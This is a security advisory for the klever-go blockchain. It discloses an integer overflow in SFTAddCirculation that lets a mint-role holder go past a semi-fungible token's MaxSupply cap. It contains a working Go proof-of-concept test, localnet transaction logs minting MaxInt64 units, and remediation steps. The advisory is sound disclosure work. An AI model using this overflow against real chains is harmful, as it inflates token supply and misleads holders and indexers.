GHSA-mrpp-v6pg-p54x

Summary

On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code

• core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=).
• Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact

A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability

Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test

TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>

package systemAccount

import (
    "math"
    "testing"

    "github.com/klever-io/klever-go/common"
    commonMock "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/data/state"
    "github.com/klever-io/klever-go/kapps"
    "github.com/klever-io/klever-go/tools/marshal"
    "github.com/stretchr/testify/require"
)

func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
    t.Helper()

    marshalizer := &marshal.ProtoMarshalizer{}
    store := make(map[string][]byte)

    tracker := &commonMock.DataTrieTrackerStub{
        RetrieveValueCalled: func(key []byte) ([]byte, error) {
            return store[string(key)], nil
        },
        SaveKeyValueCalled: func(key []byte, value []byte) error {
            store[string(key)] = value
            return nil
        },
    }

    kappAccount := &commonMock.KAppAccountHandlerStub{
        DataTrieTrackerCalled: func() state.DataTrieTracker {
            return tracker
        },
    }

    s := &systemAccountKApp{marshalizer: marshalizer}
    require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
        LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
            return kappAccount, nil
        },
    }))

    return s, store
}

func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
    t.Helper()
    meta, err := s.SFTGetMeta(asset, nonce)
    require.NoError(t, err)
    require.NotNil(t, meta)
    return meta
}

// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
    asset := []byte("SFTASSET")
    nonce := []byte{0x01}

    const maxSupply = int64(1000)
    const startCirculation = int64(5)
    // amount is a raw int64 from the contract with no upstream upper bound; the
    // largest value it can carry is MaxInt64. With Circulation already at 5,
    // 5 + MaxInt64 overflows int64 and wraps negative.
    const overflowAmount = int64(math.MaxInt64) // 9223372036854775807

    // --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
    s, _ := newExploitSystemAccountKApp(t)

    require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
    // seed an initial circulation of 5 (well within the cap)
    require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))

    before := readMeta(t, s, asset, nonce)
    require.Equal(t, maxSupply, before.MaxSupply)
    require.Equal(t, startCirculation, before.Circulation)
    t.Logf("BEFORE  exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)

    // --- contrast: a normal over-cap amount IS correctly rejected ---
    // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
    contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
    require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
        "a non-overflowing over-cap mint must be rejected")
    // the rejected call must NOT have persisted (Circulation unchanged at 5)
    afterContrast := readMeta(t, s, asset, nonce)
    require.Equal(t, startCirculation, afterContrast.Circulation,
        "rejected over-cap mint must not persist new circulation")
    t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
        contrastErr, afterContrast.Circulation)

    // --- the exploit: amount near MaxInt64 overflows Circulation negative ---
    exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)

    after := readMeta(t, s, asset, nonce)
    t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
    t.Logf("AFTER   exploit: Circulation=%d  err=%v", after.Circulation, exploitErr)

    // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
    require.NoError(t, exploitErr,
        "BUG: overflowing mint should have been capped but returned nil (cap bypassed)")

    // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
    require.Negative(t, after.Circulation,
        "BUG: Circulation must have overflowed to a negative value")

    // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
    // Computed via non-constant vars so the deliberate overflow happens at runtime
    // (a constant expression would be rejected by the compiler).
    circ := startCirculation
    amt := overflowAmount
    expectedWrap := circ + amt // intentional int64 overflow at runtime
    require.Equal(t, expectedWrap, after.Circulation)

    t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
        "a real mint would have credited ~%d tokens with no matching debit.",
        maxSupply, after.Circulation, overflowAmount)
}

</details>

On-chain reproduction (live single-node localnet)

SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address — no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)

<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>

{
    "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
    "blockNum": 463,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "type": 0,
            "typeString": "Transfer",
            "value": 1
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF",
                "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                "amount": 1
            }
        }
    ]
}

</details>

<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>

{
    "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
    "blockNum": 484,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 9223372036854775807
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF/1",
                "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                "amount": 9223372036854775807
            }
        }
    ]
}

</details>

Remediation

1. In SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g. if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungible MintedValue <= 0 pattern), or check amount against MaxSupply - Circulation with overflow-safe arithmetic.
2. Consensus-affecting → gate behind the next activation flag.